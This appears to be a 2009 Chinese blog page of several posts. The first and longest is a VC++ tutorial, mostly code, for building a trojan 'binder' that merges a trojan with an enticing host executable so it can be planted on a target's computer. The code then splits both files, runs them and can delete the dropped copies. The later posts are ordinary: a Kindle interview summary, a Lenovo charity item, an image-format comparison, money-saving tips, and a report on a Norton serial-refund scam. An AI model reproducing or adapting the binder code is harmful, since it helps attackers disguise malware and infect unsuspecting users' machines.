博客首页|TW首页| 同事录|业界社区
2009-12-31

◎文/苗得雨

(原创文章,转载请注明出处) 

引子:

Who told thee that thou wast naked? Hast thou eaten of the tree, whereof I commanded thee that thou shouldest not eat? –《圣经》创世纪3:11

计算机……可以用来实施几乎任何形式的犯罪,可以让你无所不能,从虚拟中获得你在现实中想得到的一切,也可以将一个人剥夺的一无所有,从肉体到灵魂,而这一切皆因我们感知到了它带给我们诱惑与善恶……

  

如今在黑客的游戏中,如何将木马植入到你的目标计算机中,是所有黑客需要面对的最高挑战,每一个黑客都希望将木马伪装技术发挥到极致。捆绑机,又名合并器,就是与木马几乎同时诞生的一对孪生兄弟,最优秀的捆绑机能够将最诱惑人的程序同最阴毒的木马完美的捆绑在一起。捆绑完成的新程序,不仅仅与最初捆绑的宿主一样,而且你可以通过修改装饰将它变得更具有诱惑力,如同那个赠给白雪公主的毒苹果,充满了诱惑与死亡。

网络上很多优秀的捆绑机都明码标价,而用VB、易语言等傻瓜语言编写出来的捆绑机在捆绑文件后体积往往会突增很多,失去了完美伪装的效果。因此一个捆绑机如何以完美的手法和思路合并分解文件是能否体现伪装技术的关键。今天我们就在这里向大家展示详细展示一款用VC编写的优秀商业捆绑机的全部细节与秘密。

 

合并的细节与秘密

 

为了让大家更好的理解捆绑机所有的关键技术细节,我们选择了引导型的程序界面,这个界面也非常类似大名鼎鼎的蔬菜捆绑机,但我们丰富了更多优秀的功能。现在让我们打开VC6.0画出第一个程序界面吧。

 

这个界面是宿主文件的选择界面,这一页关键程序代码如下:

 

void Prop1::OnBthost()

{

    // TODO: Add your control notification handler code here

    CFileDialog fileDialog(TRUE,”*.exe”,NULL,NULL,”可执行文件(*.exe)|*.exe||”);

    if(fileDialog.DoModal()==IDOK)

    {

      strcpy(mybind_infomation.CFileNameHost,fileDialog.GetPathName());

      m_strHostName=mybind_infomation.CFileNameHost;

      UpdateData(FALSE);

    }

}

 

这段代码的主要用CFileDialog类来实例化一个fileDialog对象,用CFileDialog类的成员函数“GetPathName”来得到第一个文件也就是宿主文件的路径,然后保存在我们指定的mybind_infomation.CFileNameHost结构体中。mybind_infomation.CFileNameHost在这个捆绑机程序中非常关键,在捆绑程序执行过程中,它不仅仅用来保存第一个宿主文件的名称,还承担着储存文件大小、合并后大小、图标路径等关键信息。最重要的是看它是怎么去实现自身文件的定位的。

 

typedef struct MY_INFO

    {

    TCHAR CFileNameHost[100];     //第一个文件的名字

    TCHAR CFileNameClient[100];    //第二个文件的名字

    TCHAR CFileNameDes[100];      //捆绑合并后文件的名字

    int select;                       //判断获取图标的方式

    CString strICon;                 //图标的路径

    int nHostFileSize;                //第一个文件的大小

    int nClientFileSize;               //第二个文件的大小

    int nFileBindSize;                //捆绑合并后文件的大小

    int nMyselfSize;                 //宿主文件的大小

    int IsDelete;                     //是否删除分解生成的文件

    }MYBINDINFO;

MYBINDINFO mybind_infomation

 

接下来我们继续绘制捆绑机的第二与第三个交互界面:

 

 

 

 

在这两个页面中,下面的代码实现将信息保存在结构体中:

m_strBindName=mybind_infomation.CFileNameClient;

strcpy(mybind_infomation.CFileNameDes,fileDialog.GetPathName());

 

 

 

这是程序的最后两个页面,点击完成后,程序就会自动完成捆绑的全部动作。

BOOL Prop4::OnWizardFinish()

{

       // TODO: Add your specialized code here and/or call the base class

       UpdateData(TRUE);

    mybind_infomation.IsDelete=m_IsDelete;

       if(TRUE==Bind_file())

       {

         MessageBox(”恭喜你,捆绑文件成功”,”友情提示”,MB_OK);

       }

       return CPropertyPage::OnWizardFinish();

}

 

由于我们采用的是指引型的页面操作方式,因此程序最后捆绑的核心代码全部都集中在了最后的部分。完成捆绑的核心函数Bind_file的实现如下:

::GetModuleFileName(0,my_name,sizeof(my_name));   //获取宿主的文件名

_stat(my_name, &ST);                              //获取宿主文件的大小

mybind_infomation.nMyselfSize=ST.st_size;         //保存宿主文件大小

_stat( mybind_infomation.CFileNameHost,&ST);

mybind_infomation.nHostFileSize=ST.st_size;       //保存第一个文件的大小

_stat( mybind_infomation.CFileNameClient,&ST);

mybind_infomation.nClientFileSize=ST.st_size;     //保存第二个文件的大小

CString tempFile=”temp.exe”;                      //临时的文件

out = fopen(tempFile, “wb”);                      //创建最终合成文件

     if (out == NULL)

     {free(buf);

          MessageBox(”绑定文件中,创建绑定后生成的合成文件时出错!”,”错误”);

 return false;

     }

 

这一步完成之后,接下来我们需要将宿主文件和要捆绑的木马写入这个临时的文件。当然更重要的是,将这个结构体保存在临时文件的结尾处。原因很简单,因为我们已经所有的关于合并是信息保存在这个结构体中了,已经为后来的文件的分离打下了良好的基础,我们已经把自身文件的大小保存在了这个结构体中,因此将自身文件的定位的问题此时我们已经成功的解决了,看过网上关于自身定位的实现,那是通过定义了一个结构体:

 

struct MODIFY_DATA {

     unsigned int finder; // 常量(定位自身)

     _off_t my_length;      //文件长度(自身)

} modify_data = {0×12345678, 0};

 

请注意这里,通过这段代码我们让文件合并的时候来定位自身文件:

 

for (i = 0; i < modify_data.my_length - sizeof(finder); i += sizeof(finder))

     {for (k = 0; k < sizeof(finder); k++)

          { if (buf[i+k] != ((BYTE*)&finder)[k])

                    break;}

          if (k == sizeof(finder))   //定位并保存自身数据文件大小

          {memcpy(buf+ i, &modify_data, sizeof(modify_data));

              break;}

     }

 

我们来分析这段代码,忘了说明finder已经定义了,定义如下:

unsigned int finder=0×12345678;

很明显通过循环整个文件来查找自身的特征字符 finder,然后将已经保存了的含有自身文件大小的结构COPY到相应的内存块,实现了自身文件的定位,在其分解时表现的很明显,

还有第1,2个文件的大小,以及文件分解的方式等也全都零散的写入了生成的文件,不得不承认实现的思路很是巧妙,但是感觉有点乱,干脆直接把所有的信息作为一个整体直接读入,分解时直接定位到文件的最后,直接将这个结构体读出来,岂不更简单了一些。代码如下:

 

fwrite(& mybind_infomation,1,sizeof( mybind_infomation),out);

 

最后删除临时文件,复制到目标文件:

 

CopyFile(tempFile, mybind_infomation.CFileNameDes,0);//复制文件

 DeleteFile(tempFile);//删除临时文件

 

好了到这里我们的文件的合并已经完成了,有了上边保存的结构体,分解岂不迎刃而解。

下面就到了文件的分解了

 

小知识:由于文件多次用到了_stat函数,所以应该在用了此函数的地方包含状态头文件#include “sys/stat.h”

文件的分解

运行程序时弹出的对话框,可能会以为本程序的实现是基于对话框,其实不然,此款捆绑机是基于单文档的,只要在MainFanme 的OnCreate函数中做手脚即可,当OnCreate结束后加入Exit(),当然在函数退出前我们想做的事情已经实现了,文件已经捆绑完毕了。

来让我们看看到底在OnCreate中做了什么?代码如下:

MYBINDINFO mybindinfo;//用来存放分解出来的结构体

    ::GetModuleFileName(0,my_name,sizeof(my_name));//获取自身文件名

     _stat(my_name,&ST);//获取自身文件的大小

   if(ST.st_size>144*1024)

   {

       DWORD offset;

       offset=ST.st_size-sizeof(MYBINDINFO);

       FILE* myself;

       if(NULL==(myself=fopen(my_name,”rb”)))

           MessageBox(”不能打开自身的文件!”,”错误提示”,MB_OK);

       fseek(myself,offset,SEEK_SET);

       fread(&mybindinfo,1,sizeof(MYBINDINFO),myself);

         fclose(myself);

 

       Unbind_Run(mybindinfo);

       exit(0);

   }

这只是OnCreate函数一部分代码,相信细心的读者已经看到了一个数字144,你可能也已经想到了,没错正是文件自身的大小,通过来比较自身数据来判断是合并文件还是分解文件,相信你已经猜出了另一段代码了,看看你想的对不对?代码如下:

CProPerty PropertySheet(”对话框向导”);PropertySheet.SetWizardMode();

PropertySheet.DoModal();

 exit(0);

 

其实没有别的就是通过了向导框的形式实现了文件的合并,合并后程序正常结束,来进入我们的正题:文件的分解。

来看看分解文件的核心函数Unbind_Run(mybindinfo)

 

    CString strTmp1Exe=myinfo.CFileNameHost;//第一个分解的文件

    CString strTmp2Exe=myinfo.CFileNameClient;//第二个分解的文件

    int nIndex = 1;

    buf = (BYTE*)malloc(myinfo.nMyselfSize);

    myself = fopen(my_name, “rb”);  //打开最终合成的文件

    nFileStepbytes = nFileStepbytes + myinfo.nMyselfSize;

    struct _stat ST;

    _stat(my_name, &ST);

    for(int n=1;n<3;n++)

    {

totalbytes = 0;    

        if(n==1)

           out = fopen(strTmp1Exe, “wb”);   //创建第1个绑定的文件

        if(n==2)

            out = fopen(strTmp2Exe, “wb”);   //创建第2个绑定的文件

        if (out == NULL)

        {

free(buf);

            MessageBox(”分离文件中,创建第一个被绑定文件时出错!”,”错误”);

            return;

        }

        //将文件指针定位到捆绑器程序长度尾部

        fseek(myself, nFileStepbytes, SEEK_SET);

        //读取第一个文件内容并写入

        while (bytesin = fread(buf, 1, sizeof(buf), myself))

        {

            if (totalbytes + bytesin >myinfo.nHostFileSize)

                bytesin =myinfo.nHostFileSize - totalbytes;

            totalbytes += fwrite(buf, 1, bytesin, out);

        }

        fclose(out);  //关闭第一个绑定文件句柄

        if (totalbytes == 0)

        {

free(buf);

            MessageBox(”分离文件中,在自身文件中没有被分离的对象!”,”错误”);

            return;

        }

        nFileStepbytes = nFileStepbytes +myinfo.nHostFileSize;

        nIndex++;

    }

fclose(myself); //关闭最终合成文件句柄

free(buf); //释放缓冲区

  DoCreateProcess(myinfo.CFileNameHost,myinfo.IsDelete);//创建子进程

  DoCreateProcess(myinfo.CFileNameClient,myinfo.IsDelete);//创建子进程

}

 

  

通过feek函数定位到文件的末尾来得到保存在捆绑后文件里的信息,并且存储在MYBINDINFO mybindinfo中,并且用引用的方式传递给了Unbind_Run函数,接着利用此结构的原有信息来实现文件的分解,很容易就能定位到第一的文件的开始:

nFileStepbytes = nFileStepbytes + myinfo.nMyselfSize;

fseek(myself, nFileStepbytes, SEEK_SET);

当然nFileStepbytes已经初始化为0了,只是没有写出而已,好了到了这里基本的问题已经快解决的差不多了,就剩下进程的创建了,利用CreateProcess很容易就能实现了,但必须得考虑到是否删除分解出的文件,当不删除的时候不用多说创建完他的进程后就不用管它了,可执行文件已经存在了,但是在删除分解的文件的情况下就得考虑什么时候删除了,不可能刚去创建了进程就要把它删除,这不是卸磨杀驴吗?计算机也是不允许的,就得等到进程结束后才去删除,就得用到WaitForSingleObject函数,函数原型如下:

 

DWORD WaitForSingleObject(

  HANDLE hHandle,

  DWORD dwMilliseconds

);

 

第一个参数进程的句柄通过CreateProcess的PROCESS_INFORMATION PI就可以得到,HANDLE hHandle=PI.hProcess得到,第二个参数指等待的时间,一般是INFINITE,不限定时间的等下去,如果是NULL就立即返回。

好了,这款捆绑器的合并与分离到此也就结束了。

近日《新闻周刊》刊载了亚马逊CEO杰夫·贝佐斯(Jeff Bezos)的访谈录,访谈中谈及了电子书阅读器Kindle的成功,苹果平板电脑可能带来的影响,以及下一步的数字书籍销售.目前,Kindle 已经成为了亚马逊网站上最为畅销的产品。

努力服务消费者

在经济形势低迷的情况下亚马逊却取得了令人惊讶的业绩。当被问及是如何做到的?贝佐斯说,做好最基本的事情,那就是关注于精益求精,向顾客提供低价、可靠、方便和交运迅速的产品。这是我们从业14年以来不断累积的效果。我总是说,如果我们哪个季度业绩出色,那可能是因为我们在3-5年前所打下的良好基础,而不是因为我们在这个季度有多么努力。

亚马逊最初是以零售商起步。现在正通过Kindle这样的产品进入了消费电子产品领域。对于目前亚马逊的市场定位,贝佐斯表示:首先,我们以零售起家,努力为消费者服务,同时积累服务消费者所需的各种技能。其次,我们也在不断创新,你不会看到我们跟着竞争对手走。我们希望从事开创性的业务, 虽然有时会遭遇挫折,但也会发现大有可为的新业务领域。再次,我们着眼于长期,我觉得这很难得. 如果你看看企业界,就会发现专注于长期发展前景的人并不多。

Kindle专为阅读打造

对Kindle所取得的成功贝佐斯也感到非常吃惊。他说,两年前我们谁也没有预料到。现在Kindle是我们最为畅销的产品。市场调查显示,Kindle是很多人最想收到的礼物。这并不只是一款电子产品,而是横跨了诸多产品类型。我们过去很多年一直在销售纸质书籍,而现在Kindle电子书销量已经达到了纸质书销量的48%,这一比例较5月份的35%有了明显增长。电子书业务正在非常迅速的增长,这个业务并不只属于我们。

苹果CEO史蒂夫·乔布斯(Steve Jobs)曾经预计 Kindle 会失败,因为他觉得“现在人们已经不再看书了”。贝佐斯则表示说,我相信人们需要一个专门的阅读设备。对很多人来说,阅读是他们生活中很重要的一件事。但他们也不想盯着LCD显示屏看上个几个小时。我认为这个领域大有可为。人类总是与工具共同发展。我们发明创新工具,而工具反过来又改变我们的生活,这个过程会不断重复。

过去20年,智能手机和PC等基于互联网的工具已经改变了我们的阅读习惯,使得我们变得越来越习惯于读短文章。我很喜欢黑莓,用它看电子邮件很方便。我们的电脑也同样如此。我很乐意看短文章和博客帖子。但我不希望用电脑阅读一本长达300页的小说。

因此,Kindle所做的就是将无线上网的便利性和长篇阅读整合起来。我们认为长篇阅读给我们带来的受益要超过短篇阅读。这两个方面都是很重要的。如果你看到一本好书,那你可能就会忍不住一直看下去,而且这会令你受益匪浅,改变你对人生的看法。而博客帖子是无法作到这点的。

未来发展设想

对于苹果即将推出的平板电脑是否会成为Kindle的竞争对手。贝佐斯的回答是肯定的。他说,但我们的理念就是,不管你在什么地方想看书,你都可以用Kindle看书。

贝佐斯表示,我并不在乎实际的Kindle销量?我们对Kindle的目标有别于我们对Kindle书店的目标。只要有Kindle书店,不管你在哪里,只要你想看书,我们都会帮助你。关于Kindle,我们希望它能成为全球最好的特定阅读工具。这不是瑞士军刀,可以做各种不同的事情。我们相信应该为阅读打造一款专门的工具,这就是Kindle。这就好像数码相机一样。虽然我的智能手机上有一个摄像头可以拍照,但真的要摄影的时候,我还是希望能有一个专用的照相机。

贝佐斯同样认为传统的纸质印刷书籍会最终消亡?他说,虽然我不知道这个过程需要多长时间。我们还是喜欢看小说,喜欢迷失在作者的世界中。对书籍的热爱是不会消亡的,而且还会再度盛行。但金属活字印刷术已经有500多年历史了,这可能是最为成功的技术。但没有什么技术会永远存在。

贝佐斯表示,如果纸质书依然存在,如果他想看,那他依然会去看。

2009-12-23

世界的改变不是少数人做了很多,而是每个人都做了一点点。

12月1日,联想集团在北京总部举行联想青年公益创业计划训练营开营仪式,迎接从全国选拔出来的28支创业团队代表。在为期4天的公益训练营活动中,联想将邀请十多位国内著名的公益专家、商界领袖和传媒精英,为创业团队讲授内容丰富的公益创业课程,提升他们的公益创业技能。

公益创业,也译为“社会创新”、“社会创业”,或“公益创新”,学术界最早定义在1998年,刚开始涉及的是非营利领域。以后,国内外对公益创业定义非常多,对其进行统一界定是非常困难的事情。在学术界,狄兹于1998年第一次定义了“公益创业”的概念。他指出“公益创业”是指在社会使命的激发下,个人或者社会组织追求创新、效率和社会利益的创业活动。在其后的十余年中,随着公益创业在全球范围内的的普及,越来越多的学者从不同的方面对公益创业的阐释与研究逐渐进入人们的视野。

 

 

曾有人把比尔·盖茨比作互联网侏儒,微软这个IT巨人在互联网这片战场上总是难以取得先机。然而,I’m公益计划,成功的把微软和互联网嫁接了,与公益的牵手使I’m成为MSN下标志性的精神品牌。任凭盖茨个人多少捐款,都难以比拟这一公益计划的影响力。最为直接的原因就在于,I’m计划根植于互联网,它踩到了公益的长尾上。

公益的长尾来源于公益事业的草根性和持续性。活跃于公益秀场的名人和企业一度给了民众一种错觉,认为公益就是提升自身知名度与社会认可度的砝码,公益只是有钱人的“游戏”。而网络在打破富人对公益“垄断”的同时,催生了营销的新土壤。I’m计划在激起公众公益意识的同时,切切实实推动了公益事业的发展。公益营销已成为企业家的新宠,企业在履行其社会责任的同时,实实在在提升着企业的品牌形象、为企业赢得社会效益。

有人说,中国人的公益意识只有在突发事情来临才能被激起。中国的公益事业显然还处于发展初期,公益的长尾还不够长。但这一次联想的青年公益创业计划中,表现最杰出的创业团队将有机会在2010年进入“联想之星”创业CEO特训班,学习从实战中总结出来的经营理念、管理经验和企业运作知识与技能,联想集团董事局主席柳传志也将亲授创业经验,其中具有商业价值的优秀公益组织还有可能得到联想的进一步支持。

在这次公益活动中,联想发布了2008/2009财年企业社会责任报告,分享了上一财年的社会责任实践。在缩小数字鸿沟方面,联想已帮助400多万农村用户圆了使用电脑的梦想,为2000多万农民兄弟普及了电脑知识。在应对气候变化方面,联想进一步完善了环境管理体系,并制定了到2012/2013财年将碳能效提高10%的目标。在社会参与方面,联想通过实施两期公益创投计划,已支持了近30家公益组织的发展。这种模式改变了公益无法保持长尾的现象,延续了公益长尾的长度。公益应该作为长效机制而存在,让鼓舞与奉献成为一个理念、一种习惯。

据介绍,联想青年公益创业计划自10月份启动以来,已经在全国42所高校举行了校园宣讲活动,超过20,000名在校大学生深入了解了公益创投的理念。在一个月的报名期内,通过互联网收到了来自全国的10,469份公益创业计划书,涉及环保、缩小数字鸿沟、教育、特殊群体关爱等多个领域。这些充满爱心和巧思妙想的计划书,生动展现了当代中国青年的社会责任感和创造力。

公益创业既包括企业家精神也包括实现社会变革的理想,在具体实践上有创新的特征。而公益企业家并不同于一般的企业家,他们除了具有本身的管理和营销等商业素质之外,还要以改善社会为己任,实现自己的社会理想。尽管公益创业的模式是商业化,但它的目的是改变人们的行为而非创造利润。这是公益创业与创业的最大的不同,也是对原有的公益和创业概念上的一种创新。与此同时,有超过500万的青年朋友通过网络关注并支持联想的青年公益创业计划。我国的网民数已超过2.5亿,网络正利用自身强大的传播功能演绎着现代公益的内涵。

2009-12-22

GIF、JPEG 和 PNG 是三种最常见的图片格式。

  • GIF:1987 年诞生,常用于网页动画,使用无损压缩,支持 256 种颜色(一般叫 8 bit 彩色),支持单一透明色;
  • JPEG:1992 年出世,照片一般都用这个格式,有损压缩,24 bit 真彩色(224 = 17 万种颜色),不支持动画,不支持透明色;
  • PNG:1996 年问世,无损压缩,最常见的使用格式是 256 索引色(PNG-8)和 24 bit 真彩色(PNG-24)(当然 PNG 支持的颜色格式远不止此),支持 full alpha 通道(256 级可调半透明色),不支持动画。

简单比较:

  • JPEG v.s. PNG:JPEG 在照片压缩方面拥有巨大的优势,这方面无可替代,但是 JPEG 是有损压缩,图片质量会有损失。另外,一般屏幕截屏用 PNG 格式不但比 JPEG 质量高而且文件大小还更小(维基有图)。
  • GIF v.s. PNG:GIF 只在简单动画领域有优势(其实,GIF 256 色限制以及无损****制导致高质量的动画的发布一般都使用 Flash 等格式),只要没有动画,PNG 完全可以取代 GIF。
  • 防锯齿:下面是 GIF 和 PNG 防锯齿处理的对比,六张小图片是分别放到浅黄和深绿背景下的情景,三张大图是深绿背景情形的放大。由于 GIF 没有半透明一说,所以防锯齿处理时只能假设背景是白色,这样的 GIF 放在深色背景下还不如不防锯齿。而 PNG 图片可以轻松应付各种背景颜色,特别适合用来做网页和应用程序里的通用防锯齿图标适应不同皮肤,没有 full alpha 通道的 JPEG 和 GIF 都做不到这一点。

可以看到,除了照片和动画,PNG 是最好的格式,但是 PNG 为什么到最近几年才流行起来?有很多原因:

  • PNG 诞生的时候互联网已经初具规模,当时 GIF 和 JPEG 已经是很流行的格式了,换格式的迁移成本是很大的,有时候惯性是一个很可怕的东西。
  • 浏览器的 PNG 支持比较落后,比如 IE 就是到 IE4 才开始支持 PNG。
  • PNG 当初标准里把 alpha 通道写成了 optional 的,土鳖的 IE 一直到 IE7 才开始支持 full alpha 通道。而一般网页图标 256 色足够,所以为了支持 IE6,PNG 相对于 GIF 毫无优势可言,更何况 GIF 还支持动画。
  • 尽管从原理上说,同样质量的 PNG 图片文件一般要比 GIF 要小,但是早期很多图片编辑器不支持 PNG,甚至支持的也没有完全利用 PNG 压缩算法里最精妙的部分(最典型的例子就是早期的 Photoshop),保存出来的 PNG 往往巨大无比。现在的软件已经没有这些问题了,但是这个偏见还广泛存在。

   前几天,去了一趟菜市场,买了点菜,这不当家不知柴米油盐贵,买了俩圆葱,一个大点,一个小点,花了四块多;买了六个西红柿,花了七块多;再一问大蒜,天雷,六块五一斤。上年金融危机,今年通货膨胀,啥都在涨,更不用说房价了,奇怪的是,就工资不涨,不省着点花怎么行?下面就与大家分享一下这省钱秘笈,看看怎么样在这涨声一片中过得舒服些。

 

 

  一、晚上九点去超市

  很多超市的果盘、沙拉、糕点、熟食等,都会在晚上9点开始打折,价格可能是标签上的一半不到,但能让我们的夜生活更有“质量”一些。

 

  二、上午购买机票最便宜

  你知道一天之内什么时候买机票最便宜吗?答案是上午。因为机票的折扣通常会隔夜重新调整。另外尽量避免周一上午和周四晚上出行,因为这两个时段旅客最多。理想的飞行时刻是:每天中午及一周的中间日子。

  乘坐转机航班到目的地,会比直飞航班便宜许多;选择规模相对小的航空公司航班,通常比超大型航空公司航班便宜;如果在携程网上订票,注意它的“往返特价区”,订购往返机票会比购买两张单程票便宜40-60%不等。

 

  三、选择淡季举办婚礼

  没错,婚礼也分淡旺季。每年1-2月、7-8月是婚礼淡季,相比在婚礼旺季找不到酒店、婚庆公司坐地起价、机票居高不下等诸多不利因素,淡季举办婚礼不仅仅是省钱这么简单。

 

  四、选购超市自有品牌

  购买日常用品,超市自有品牌是物美价廉的选择,它们的质量通常与品牌商品无甚区别,价钱可便宜不少。另外,止痛药也不妨购买本土品牌,它们通常具有同样疗效。

 

  五、电影看打折的

  好电影当然要去电影院看。除了众人皆知星期二全天电影半价外,有的电影院特地推出“女士之夜”,女人照样享受半价。还有“信用卡之夜”——持指定信用卡即可半价。另外周末早期几个小时,看早场大片最便宜只要10元,最起码也可以享受对折。

 

  六、别忘了更新手机套餐

  不要轻易接受电信销售人员向你推荐的套餐计划,因为他们会推荐利润率最高的套餐,而你可能并不需要。仔细核算自己的通话量,最精确的方法是上网调出通话详单,一目了然。

 

  七、打车时每15公里抬表结账一次

  大多数人只知道夜晚11点以后起步价多收钱,殊不知真正的夜间行驶每公里都要多交20%的费用。另外,如果你乘坐距离超过15公里,就要求司机开到15公里后抬表结账一次,或干脆换车,因为超过15公里就要支付往返空驶费。

 

  八、千万别买告诉你如何省钱的书

  尽信书,则不如无书。最好不要完全相信类似《省钱妙招xxx例》这样的书,请自己动脑,发挥你的想象力,让生活真正过得经济又精彩。

 

  九、下载电子杂志

  很多平面杂志都提供电子杂志下载,既环保又省钱。在杂志各自的网站上可以找到下载链接。有的杂志会节选部分章节刊登,有的则正本提供下载。当然有些畅销杂志可能不会免费下载,比如《三联生活周刊》,需要每期付费4元,但也比从报摊买一本花8元便宜一半。

 

  十、旅行时住大学的招待所

  经济型酒店也越来越贵了,那就瞄准大学里的招待所吧。一百多块就可以来个标准间,若在厦门大学、武汉大学、浙江大学这种学校本身就是一处好景点的话,那就更值了。

 

  十一、联名信用卡让你一边花一边赚

  联名信用卡指发卡银行与盈利机构(比如航空公司或百货公司)共同发行的信用卡。持联名卡除了可享受信用卡的便利外,还能得到盈利机构提供的一定比例的折扣、回赠,或其他增值服务。推荐有车族办张建行汽车龙卡,加油、维修保养、车险、租车都有优惠;“空中飞人”可办理上航浦发联名信用卡,不但积累里程,还能享受登机专属柜台,机票买一赠一。

 

  十二、掌握自己的消费习惯

  赢过知名理财专家Simonnne Gnessen建议:每个人都应该熟悉自己的消费习惯,找出最易乱花钱的诱因,为下一次冲动购买准备好应对策略。比如刷卡前,问一问自己:这是必需品,还是奢侈品?选择能力范围内的商品,才不会负债累累。

 

  十三、购买电器时认准节能标志

  当你购买新电器时,别忘了找一找节能推荐标志,这个标志意味着电器运转成本更低,也更环保。换掉你家的旧冰箱吧,一年可以节约不少电费呢!

 

  十四、不喜欢的礼物,下次转送给别人

  收到的礼物,难免有不对自己口味的。这时,别着急拆吊牌,先收好了!下次有合适场合,加层包装纸再转送给别人。这不是对别人不礼貌,而是把有限资源发挥最大效用。当然,事物不在此范围内。

 

  十五、小奖励巩固节俭成果

  坚守一份苛刻预算,就如同过分节食。如果你对于自己过于严格,最终可能会在压力下崩溃。一次压力爆发后的放纵花费,就会让多日的节约成果付诸东流。所以,时不时给自己放放假,给自己点小奖励。

  

  十六、别再白白浪费健身卡

  冲动下办的健身卡一再变废卡?每周去健身馆不到一次?别再浪费了,赶紧把卡转让给更需要的人吧。

 

  十七、选择容易打理的发型

  是的,我们当然知道丝毫不打理头发,肯定不行。但少花钱也一样可以弄出漂亮发型。如果你不需要定期进行昂贵的挑染,而是告诉发型师你的发梢需要修剪,算一算可以省下多少钱呢?何况频繁染发,对健康也没好处。

 

  十八、节约美容成本

  美容品不一定要到大商场购买,网络购买既方便又省钱。此外如果有熟悉的美容师,可以问问美容院是否有你信赖品牌的美妆品大包装出售,因为美容院有专业渠道,比外面零售卖便宜得多。

 

  十九、尽早付清房屋按揭

  怎样提前还贷才最划算?专家介绍了三种最省钱的还款方式:将所剩贷款一次性还清;部分提前还款,增加月供,缩短还款周期;部分提前还款,月供不变,缩短还款周期。

 

  二十、能发飞信时,绝不发短信

  飞信这项发明实在太伟大了!在键盘上敲敲字,一按回车,信息就发送到对方手机上了,而且一分钱不用花。飞信还可以积分,每天8:00——24:00,累计在线时长每达0.5小时就获得2个积分,每天最多可获得8个积分。积分越多,参与抽奖的奖品越好,每天都有机会获得PSP礼包、100元充值卡、爱心T恤等礼品。要注意的是,积分有效期为3年,采用滚动清零的方式,也就是每年年初自动扣减大前年的积分。

 

  二十一、去超市购物前列好清单

  别小看在收银台前排队结账的几分钟,很多人都会手痒痒买下陈列在收银台附近货架上的口香糖、巧克力和杂志,让话费超支。所以,出门前你需要先列张清单,看看家里库存究竟缺什么,并只带正好的钱,这样结账方便、省时,也防止冲动消费。

 

  二十二、约会时两人点一份套餐

  别把这样的约会看做寒酸,吃多少点多少反而是最时髦的环保举动。如果不够吃,最多再加一份主食,总比每次吃完剩下一大堆甜品、汤或小菜被浪费掉好。这样,你会少了很多罪恶感,又能精挑细选品尝食物最好的味道,另外,还不容易发胖哦。

 

  二十三、找到比购物更持久的快乐

  终于完成一桩大case,迫不及待要奖励自己,结果买了平时根本难得穿的昂贵鞋子。本想以此激励自己,却在收到信用卡账单时情绪低落了半个月。购物快感来的快去的也快,研究显示,运动和阅读才是能创造更持久快乐的源泉。

 

  二十四、换掉大衣橱

  你是否常觉得衣橱太小,放不下越来越多的衣服。其实换个角度,大衣橱里塞的满满的衣服,究竟有哪几件常穿,又有哪几件穿过一次就压箱底?一个大衣橱,带来的结果往往是:盲目开支、事后后悔以及越来越拥挤的居住空间……快换个小的吧!

 

  二十五、开通网络电子记账本

  比起纸张记录,在网络上的消费记账更为随意且简单明了。这种方式大多采用了与博客相结合的方式,注册简单,除了支出、收入等项目外,有的电子记账本还有 “情侣消费”等有意思的特别栏目。

 

  二十六、放弃彩票梦

  统计数据表明:中大奖的几率比你被楼上坠落的花盆砸到的几率还低。所以,不如把你的闲钱放到活期账户里存起来吧,别再指望凭那微乎其微的几率当上百万富翁。

 

  二十七、充分利用网络代购

  想买到又好又便宜的东西,怎能少得了网络代购。不用交订金,只要告诉对方商品货号和所需尺码就OK。

 

  二十八、自带午餐,加大烹饪量

  每天叫外卖没少花钱,品种还有限。渐渐三餐中最应该吃好的午餐变成应付差事。想吃什么自己做,经济又实惠。

 

  二十九、家居巧装修

  买房子很贵,但真要住进去还得好好装修一番,又要花钱不少。在装修和家具上多花点心思可以帮你节省很多开销。尽量别做复杂、难以改动的装修,多做些软装饰,每过一年半载,可以随时更换。

今天收到一张图片,是马上即将上线的新网站。

通过淘宝网成熟的网络交易流程,在线购买杀毒软件序列号,整个看似非常正规安全的流程,却因杀毒厂商的各种规则和虚拟商品的特性,变成了奸商们愚弄诈骗消费者的利器。

廉价的杀毒软件序列号

面对刚刚重新安装操作系统的电脑,张伟很恼火。恼火的原因新系统出现了故障,而是张伟在新系统中安装的诺顿360杀毒软件被判定为了盗版,而这套软件使用的序列号是张伟在两月前刚刚在淘宝网上购买的,在此之前他使用一直正常,难道是自己杀毒软件公司出现了错误?还是自己购买了假序列号?

自从经历了一次电脑病毒的破坏过程,张伟就养成了每年购买一次杀毒软件的习惯。两个月前杀毒软件提示到期之后,张伟选择了从淘宝网上购买,原因很简单——便宜。以他购买的诺顿360杀毒软件为例,如果正常从软件商店购买要花去299元,但是在淘宝网,他只花了18元就购买了一个可以允许在三台电脑中使用一年的诺顿360杀毒软件序列号。

序列号的价格如此低廉,张伟并不是没有一丝的怀疑,但是在淘宝网中,如果输入关键词“诺顿360”搜索,从一元钱到几十元钱的诺顿360到处都是,反而是真正接近市场价商品凤毛麟角。而且在淘宝网中除了诺顿之外,其他杀毒软件的价位大多也都是如此。

在实际购买过程中,为了避免上当受骗,张伟特意挑选了一家信誉非常高的双皇冠店铺,并且没有选择那些1元钱的序列号。双皇冠加上淘宝的先用后付款的交易流程,以张伟以往在淘宝网的购物经验,整个过程绝对安全保险,即便是上当受骗,损失的也不过仅是18元钱而已。

完成交易之后,张伟如愿收到了对方发来的诺顿360序列号,并且通过了诺顿360的软件认证,根据诺顿360的序列号信息提示,张伟拥有一年的使用期限,完全与商家的承诺相符,连续使用了15天这个18元的一年期账号并没有出现任何问题,张伟在付款之后还给了商家一个好评。

然而两个月之后,当张伟重新安装操作系统后,杀毒软件却又提示序列号非法,这让张伟倍感困惑。

可以作废的序列号

杀毒软件提示序列号非法之后,张伟首先登录了诺顿杀毒软件的官方网站,通过诺顿官方网站的Norton Account账号查询系统,张伟看到自己的杀毒软件有效期是2010-10-23,查询系统并没有提示张伟的账号是非法账号。

在线查询系统提示账号没有问题,难道是诺顿软件出现错误了吗?张伟通过诺顿的网站联系到了诺顿的在线客服。在一番确认之后,张伟得到了一个惊人的答案,诺顿一名曲姓客服代表告诉张伟,他所购买的账号,早在半个月前已经作废了,而作废的原因则是账号的购买者申请了退款。

原来在诺顿软件购买程序中提供一项60天不满意可以申请退款的服务,而退款之后,在诺顿的Norton Account账号查询系统中也不会显示账号失效的信息。很显然,贩卖给张伟杀毒软件序列号的商家利用了诺顿的退款服务,先购买了一个诺顿序列号,然后再次出售给了消费者,等购买序列号的消费者付款不久之后,账号商家再通过申请退款服务,注销作废掉序列号收回购买软件的钱。

